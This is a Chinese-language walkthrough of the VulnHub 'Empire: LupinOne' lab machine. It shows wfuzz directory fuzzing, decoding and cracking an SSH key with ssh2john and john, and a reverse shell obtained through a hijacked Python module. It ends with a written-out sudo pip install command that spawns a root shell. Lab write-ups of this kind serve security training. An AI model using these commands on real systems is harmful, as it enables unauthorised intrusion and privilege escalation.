vulnhub-EmpireLupinOne打靶

环境

vulnhub项目 https://www.vulnhub.com/series/empire,507/
靶机:172.16.17.151
攻击机kali:172.16.17.140

信息收集

nmap扫描确定靶机ip,再详细扫描
开放了22和80,扫出一个/~myfiles目录

访问看看,提示404,暗示我们继续尝试当前目录

fuzz

wfuzz继续扫当前目录

1
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://172.16.17.151/~FUZZ

提示我们icex64用户有ssh秘钥,并使用fasttrack去爆破

继续爆破,扫出一个文件

1
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://172.16.17.151/~secret/.FUZZ.txt

但是应该是加密过的,不是ssh密钥

拿去解密,挨个尝试后,以base58解出秘钥

Exploit

爆破秘钥

使用ssh2john将秘钥编译一下,再使用john暴力破解,解出密码 P@55w0rd!

1
2
3
ssh2john key.txt > passkey.txt

john --wordlist=/usr/share/wordlists/fasttrack.txt passkey.txt

尝试登录

直接登录被拒绝

利用秘钥再次登录,此处要注意,先将秘钥权限改为 600

提权

在家目录下看到一个user.txt,拿到第一个flag

查看root权限运行的文件,没有写入权限,继续往下看

发现使用webbrowser包,跟进看看

是root权限

写入shell

运行heist.py反弹shell

查看arsene用户下以root权限运行的命令或文件,发现pip不需要密码就可以执行

google pip提权 找到方法

1
2
3
arsene@LupinOne:~$ TF=$(mktemp -d)
arsene@LupinOne:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@LupinOne:~$ sudo pip install $TF